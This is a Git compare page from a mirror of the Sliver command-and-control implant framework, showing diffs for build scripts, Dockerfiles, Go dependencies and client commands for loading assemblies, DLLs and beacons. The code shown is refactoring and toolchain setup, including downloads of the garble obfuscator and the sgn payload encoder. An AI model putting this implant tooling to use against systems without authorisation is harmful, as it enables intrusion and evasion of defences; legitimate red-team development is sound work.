mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
23
Commits
remove-prelude
...
zig
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9296a8abce | ||
|
|
abc8747a51 | ||
|
|
dcbfe10bc4 | ||
|
|
4336f933e0 | ||
|
|
6a4521a4b0 | ||
|
|
bf80f8f7e6 | ||
|
|
09564cf241 | ||
|
|
03fa4029d3 | ||
|
|
b33e012f2a | ||
|
|
98f13030f9 | ||
|
|
040863b757 | ||
|
|
1624c84eb6 | ||
|
|
44368b26ad | ||
|
|
0eb93d51c0 | ||
|
|
c7cd14eae2 | ||
|
|
9c9caba8d8 | ||
|
|
4b6219d860 | ||
|
|
a47aeb7e73 | ||
|
|
4c0e6cb585 | ||
|
|
cd711c1e2f | ||
|
|
187394439e | ||
|
|
143246a9fc | ||
|
|
7a7f169e0a |
No files matched your search
@@ -31,8 +31,7 @@ jobs:
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
@@ -75,9 +74,6 @@ jobs:
|
||||
run: make macos-amd64
|
||||
|
||||
- name: Test MacOS (amd64)
|
||||
env:
|
||||
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
|
||||
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make MacOS (arm64)
|
||||
|
||||
+3
-4
@@ -9,7 +9,7 @@
|
||||
|
||||
# STAGE: base
|
||||
## Compiles Sliver for use
|
||||
FROM --platform=linux/amd64 golang:1.22.1 as base
|
||||
FROM --platform=linux/amd64 golang:1.22.2 as base
|
||||
|
||||
### Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
@@ -34,7 +34,7 @@ FROM --platform=linux/amd64 base as test
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade \
|
||||
&& apt-get -y install \
|
||||
curl gcc-multilib build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
curl
|
||||
|
||||
RUN /opt/sliver-server unpack --force
|
||||
|
||||
@@ -56,8 +56,7 @@ RUN apt-get update --fix-missing \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
curl libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
nasm
|
||||
|
||||
### Install MSF for stager generation
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
|
||||
@@ -269,20 +269,20 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
return
|
||||
}
|
||||
// args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
var extArgsStr string
|
||||
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = aliasManifest.DefaultArgs
|
||||
extArgsStr = aliasManifest.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
extArgsStr = strings.Join(args, " ")
|
||||
}
|
||||
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
extArgsStr = strings.TrimSpace(extArgsStr)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
|
||||
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
|
||||
// The Donut loader has a hard limit of 256 characters for the command line arguments, so
|
||||
// we're alerting the user that the arguments will be truncated.
|
||||
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
if len(extArgsStr) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
msgStr := ""
|
||||
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
|
||||
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
|
||||
@@ -354,13 +354,13 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
|
||||
// Execute Assembly
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Arguments: args,
|
||||
Assembly: binData,
|
||||
Arch: arch,
|
||||
Method: method,
|
||||
@@ -400,11 +400,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
|
||||
// Spawn DLL
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Args: args,
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
@@ -439,11 +439,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
|
||||
// Sideload
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: extArgs,
|
||||
Args: args,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
|
||||
@@ -95,7 +95,7 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: assemblyArgsStr,
|
||||
Arguments: assemblyArgs,
|
||||
Assembly: assemblyBytes,
|
||||
Arch: arch,
|
||||
Method: method,
|
||||
|
||||
@@ -39,8 +39,16 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
return
|
||||
}
|
||||
|
||||
if len(args) < 1 {
|
||||
cmd.Usage()
|
||||
return
|
||||
}
|
||||
|
||||
binPath := args[0]
|
||||
binArgs := strings.Join(args[1:], " ")
|
||||
var binArgs []string
|
||||
if len(args) > 1 {
|
||||
binArgs = args[1:]
|
||||
}
|
||||
|
||||
entryPoint, _ := cmd.Flags().GetString("entry-point")
|
||||
processName, _ := cmd.Flags().GetString("process")
|
||||
@@ -57,7 +65,7 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
isDLL := (filepath.Ext(binPath) == ".dll")
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s %v...", binPath, binArgs), ctrl)
|
||||
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: binArgs,
|
||||
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -38,7 +37,10 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
return
|
||||
}
|
||||
binPath := args[0]
|
||||
dllArgs := strings.Join(args[1:], " ")
|
||||
var dllArgs []string
|
||||
if len(args) > 1 {
|
||||
dllArgs = args[1:]
|
||||
}
|
||||
|
||||
processName, _ := cmd.Flags().GetString("process")
|
||||
exportName, _ := cmd.Flags().GetString("export")
|
||||
|
||||
@@ -4,7 +4,6 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -332,7 +331,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.Int64P("reconnect", "j", DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int64P("poll-timeout", "P", DefaultPollTimeout, "long poll request timeout")
|
||||
f.Uint32P("max-errors", "k", DefaultMaxErrors, "max number of connection errors")
|
||||
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
|
||||
f.StringP("c2profile", "C", consts.DefaultC2Profile, "HTTP C2 profile to use")
|
||||
|
||||
// Limits
|
||||
f.StringP("limit-datetime", "w", "", "limit execution to before datetime")
|
||||
|
||||
@@ -22,7 +22,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(cmd, con, config)
|
||||
err := parseBeaconFlags(cmd, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -38,7 +38,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
}
|
||||
}
|
||||
|
||||
func parseBeaconFlags(cmd *cobra.Command, con *console.SliverClient, config *clientpb.ImplantConfig) error {
|
||||
func parseBeaconFlags(cmd *cobra.Command, config *clientpb.ImplantConfig) error {
|
||||
days, _ := cmd.Flags().GetInt64("days")
|
||||
hours, _ := cmd.Flags().GetInt64("hours")
|
||||
minutes, _ := cmd.Flags().GetInt64("minutes")
|
||||
|
||||
@@ -1009,24 +1009,12 @@ func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string
|
||||
return true
|
||||
}
|
||||
|
||||
if runtime.GOOS != "windows" && targetOS == "windows" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS != "darwin" && targetOS == "darwin" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
if runtime.GOOS != "linux" && targetOS == "linux" {
|
||||
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
|
||||
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -1042,12 +1030,8 @@ func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossC
|
||||
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverClient) bool {
|
||||
con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
|
||||
switch targetOS {
|
||||
case "windows":
|
||||
con.PrintWarnf("The server cannot find an installation of mingw")
|
||||
case "darwin":
|
||||
con.PrintWarnf("The server cannot find an installation of osxcross")
|
||||
case "linux":
|
||||
con.PrintWarnf("The server cannot find an installation of musl-cross")
|
||||
}
|
||||
con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
|
||||
|
||||
@@ -1083,7 +1067,7 @@ func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverCli
|
||||
return validBuilders, nil
|
||||
}
|
||||
|
||||
func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverClient) (*clientpb.Builder, error) {
|
||||
func selectExternalBuilder(builders []*clientpb.Builder, _ *console.SliverClient) (*clientpb.Builder, error) {
|
||||
choices := []string{}
|
||||
for _, builder := range builders {
|
||||
choices = append(choices, builder.Name)
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
@@ -20,7 +38,7 @@ func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
}
|
||||
|
||||
options := []string{}
|
||||
for name, _ := range builds.Configs {
|
||||
for name := range builds.Configs {
|
||||
options = append(options, name)
|
||||
}
|
||||
|
||||
|
||||
@@ -20,8 +20,6 @@ package generate
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -56,7 +54,3 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
con.PrintErrorf("No profile with name '%s'", name)
|
||||
}
|
||||
}
|
||||
|
||||
func buildImplantName(name string) string {
|
||||
return strings.TrimSuffix(name, filepath.Ext(name))
|
||||
}
|
||||
@@ -64,7 +64,7 @@ func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(cmd, con, config)
|
||||
err := parseBeaconFlags(cmd, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -958,5 +958,53 @@ var asciiLogos = []string{
|
||||
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
|
||||
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
|
||||
` + "`------'`------'`------'`------'`------'`------'" + `
|
||||
` + Normal,
|
||||
|
||||
Purple + `
|
||||
****@@ @@****
|
||||
@@@@@@***@ @***@@@@@@
|
||||
@%%@@@%%#***@ @***#%%@@@%%@
|
||||
%%%%%##%%%%****@ @****%%%%##%%%%%
|
||||
%%%%#####%%%%#*###@ @#####%%%%#####%%%%
|
||||
@%%%*@#####%%%%@####@ @####@%%%%#####@#%%%@
|
||||
%%%+@**#####%%%%#####@ @#####%%%%#####**@+%%%@
|
||||
#%%=+*+**###%#%%%###### ######%%%%%###**+*+=%%%
|
||||
%#%===++@*####%@@@@###### ######@@@@%####*@++===%%%
|
||||
@#@--===+**%%%@@@@@@#####%% %%#####@@@@@@%%#**+===--@#@
|
||||
#@----%=+*%%%%@@@%%%####%%%@ @ @ @%%%####%%%@@@%%%%*+=%----@#
|
||||
#%----=#++*%%%%@%%%%%@%%%%%%%%%@ @%%%%%%%%%@%%%%%@%%%%*++#=----%#
|
||||
%+----===+**@%%@#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%@**+===----+%
|
||||
@=----==++***@%@#%%%%%%%@%%%%@%%%%%%%%%%%%%%%%%%%%@%%%%@%%%%%%%#@%@***++==-----@
|
||||
-----==+#%**##@@%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%%@@##**%#+==-----
|
||||
%----==+**%%%%@@@#@%%%%%%%%%%@%%%%%%%%%%%%%%%%%%@%%%%%%%%%%@#@@@%%%%*++==----%
|
||||
=--#+=+**#@%%####%####%%%%@@@@@%%%%%%##%%%%%%@@@@@@%%%####%####%%@#**+=+#--=
|
||||
+-==+*%%%%########%#######%@@@@@@%%%%%#%%@@@@@@%#######%########%%%%*+==-=
|
||||
-----==++**#%######################%@@@%%%%@@@%######################%#**++==-----
|
||||
=--===+**######@##############%%%%%%%%%%%%%%%%%%%%##############@######**+===--=
|
||||
%-==+%@@@#######%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%%%@@%%%%%%%%%#######@@@%+==-%
|
||||
@=@@@@@@@@#%%%%%%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%@@@%%%%%%%%%%%%%#@@@@@@@@=@
|
||||
@@@@@@@@@@@@@%%%%%%%%%%%%@@@@%%%%%%%%**%%%%%%%%@@@@%%%%%%%%%%%%@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@%%#%@@%%%%@@@@@%%%%%@#**#@%%%%%@@@@@%%%%@@%#%%@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@%#####%#%%%%%%%@%###**###%@%%%%%%%#######%@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@*##%%%%%%%%%%%%%##**##%%%%%%%%%%%%###*@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@%%%%%@@@@@@@@@@@@@@@@@@@ %%%%%%%%%%%%%##**##%%%%%%%%%%%%% @@@@@@@@@@@@@@@@@@@%%%%%@
|
||||
@%%%%%%%%%%%%%%@@@@@@@@@@@@ . %%%%%@%%%%%##**##%%%%%@%%%%% @@@@@@@@@@@@%%%%%%%%%%%%%%@
|
||||
%%%%%%%@+. % :@%%%%%%%%@@@@@@@@@%@%%@@@@##**##@@@@%%@%@@@@@@@@@%%%%%%%%@: % ..+@%%%%%%%
|
||||
%#. . : .-@%%%%%@@@@@@@@@@@@@@##**##@@@@@@@@@@@@@@%%%%%@-. : .*%
|
||||
@%%@* #..:--=++*@%@@@@@@@@@@@@##**##@@@@@@@@@@@@@@*++==-:. # *@%%@
|
||||
%%%%%%@..*.:+% ..::+-==++++@-=@@@@@@@@@@@%####%@@@@@@@@@@@=-@++++==-+::.. #+:.*..@%%%%%%
|
||||
@###%.......::%-==++**#@++#*: .:-+@@@@@@@@@@%####%@@@@@@@@@@+-:. .*#++@#**++==-%::.......%###@
|
||||
#%..........:::-==%+*******@* . .:-+@@@@@@@@@@####@@@@@@@@@@+-: #@*******+%=--:::..........%#
|
||||
@@@+:...::::--=++**@***##*==+ :-+@@@.@@@@%%##%%@@@@.@@@+-: ++=*##***@**++=--::::...:+@@@
|
||||
@%%%***###%@#****##@##++++++. .:=*@+ @@@@%%##%%@@@@ =@*=:. .+++++=##@##****#@%###***%%%@
|
||||
@@=====+++++***#####%%%%@++++**#.:=*@ .@@%%####%%@@. @*=:.#***+++@%%%%#####***+++++=====@@
|
||||
@@@#+++++***##%%%%%***##%%*# @@*------*@@ #*%%##***%%%%%##***+++++#@@@
|
||||
@@@@%%%@%%%%%. **--------** .%%%%%%%%%@@@@
|
||||
@%%%% %@@@@@@@@@@@@@ %%%%@
|
||||
@@ @::@@@@@@@@@@::@ @@
|
||||
-::::::@@@@:::::::
|
||||
*-----========-----+
|
||||
@###%%%@@@@%%%###@
|
||||
@%%%%%%@
|
||||
` + Normal,
|
||||
}
|
||||
+20
-9
@@ -20,8 +20,9 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.22.1"
|
||||
GARBLE_VER="1.22.1"
|
||||
GO_VER="1.22.2"
|
||||
GARBLE_VER="1.22.2"
|
||||
ZIG_VER="0.12.0"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
|
||||
@@ -148,10 +149,25 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/amd64/go.zip
|
||||
rm -rf ./go
|
||||
rm -f windows-go.zip go$GO_VER.windows-amd64.zip
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Zig"
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/amd64/zig https://ziglang.org/download/$ZIG_VER/zig-macos-x86_64-$ZIG_VER.tar.xz"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/amd64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-macos-x86_64-$ZIG_VER.tar.xz
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/arm64/zig https://ziglang.org/download/$ZIG_VER/zig-macos-aarch64-$ZIG_VER.tar.xz"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/arm64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-macos-aarch64-$ZIG_VER.tar.xz
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/amd64/zig https://ziglang.org/download/$ZIG_VER/zig-linux-x86_64-$ZIG_VER.tar.xz"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/amd64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-linux-x86_64-$ZIG_VER.tar.xz
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/arm64/zig https://ziglang.org/download/$ZIG_VER/zig-linux-aarch64-$ZIG_VER.tar.xz"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/arm64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-linux-aarch64-$ZIG_VER.tar.xz
|
||||
# Of course Windows has to be different, because it's awful (zip file instead of a tarball)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/amd64/zig.zip https://ziglang.org/download/$ZIG_VER/zig-windows-x86_64-$ZIG_VER.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/amd64/zig.zip https://ziglang.org/download/$ZIG_VER/zig-windows-x86_64-$ZIG_VER.zip
|
||||
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Garble"
|
||||
echo "-----------------------------------------------------------------"
|
||||
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/amd64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/amd64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/arm64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-arm64"
|
||||
@@ -167,28 +183,23 @@ curl -L --fail --output $OUTPUT_DIR/darwin/arm64/garble https://github.com/moloc
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
|
||||
echo "-----------------------------------------------------------------"
|
||||
|
||||
# Linux (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-amd64.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-amd64.zip
|
||||
|
||||
# Linux (arm64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-arm64.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-arm64.zip
|
||||
|
||||
# Windows (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-amd64.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-amd64.zip
|
||||
|
||||
# MacOS (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-amd64.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-amd64.zip
|
||||
|
||||
# MacOS (arm64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-arm64.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-arm64.zip
|
||||
|
||||
# end
|
||||
# --- Cleanup ---
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
rm -rf $WORK_DIR
|
||||
echo -e "\n[*] All done\n"
|
||||
@@ -25,7 +25,7 @@ require (
|
||||
github.com/google/uuid v1.4.0
|
||||
github.com/gorilla/mux v1.8.1
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.8
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/klauspost/compress v1.17.8
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
@@ -44,6 +44,7 @@ require (
|
||||
github.com/stretchr/testify v1.8.4
|
||||
github.com/tetratelabs/wazero v1.3.1
|
||||
github.com/things-go/go-socks5 v0.0.3
|
||||
github.com/ulikunitz/xz v0.5.11
|
||||
github.com/xlab/treeprint v1.2.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.1
|
||||
golang.org/x/crypto v0.21.0
|
||||
@@ -137,7 +138,7 @@ require (
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.14 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.15 // indirect
|
||||
github.com/mdlayher/genetlink v1.3.2 // indirect
|
||||
github.com/mdlayher/netlink v1.7.2 // indirect
|
||||
github.com/mdlayher/sdnotify v1.0.0 // indirect
|
||||
|
||||
@@ -232,8 +232,8 @@ github.com/jackc/puddle/v2 v2.2.1 h1:RhxXJtFG022u4ibrCSMSiu5aOq1i77R3OHKNJj77OAk
|
||||
github.com/jackc/puddle/v2 v2.2.1/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
|
||||
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6 h1:v6aG9h6Uby3IusSSEjHaZNXpHFhzqMmjXcPq1Rjl9Jw=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6/go.mod h1:Ndk3ase2CkQbXLLNf5QDHoYb6J9WtVfmHZu9n8rk2xs=
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.8 h1:8BCzJdSvUbaDuRba4YVh+SKMGcAAKdkcF3SVFbrHAtQ=
|
||||
github.com/jedib0t/go-pretty/v6 v6.5.8/go.mod h1:zbn98qrYlh95FIhwwsbIip0LYpwSG8SUOScs+v9/t0E=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
|
||||
@@ -297,9 +297,8 @@ github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Ky
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
|
||||
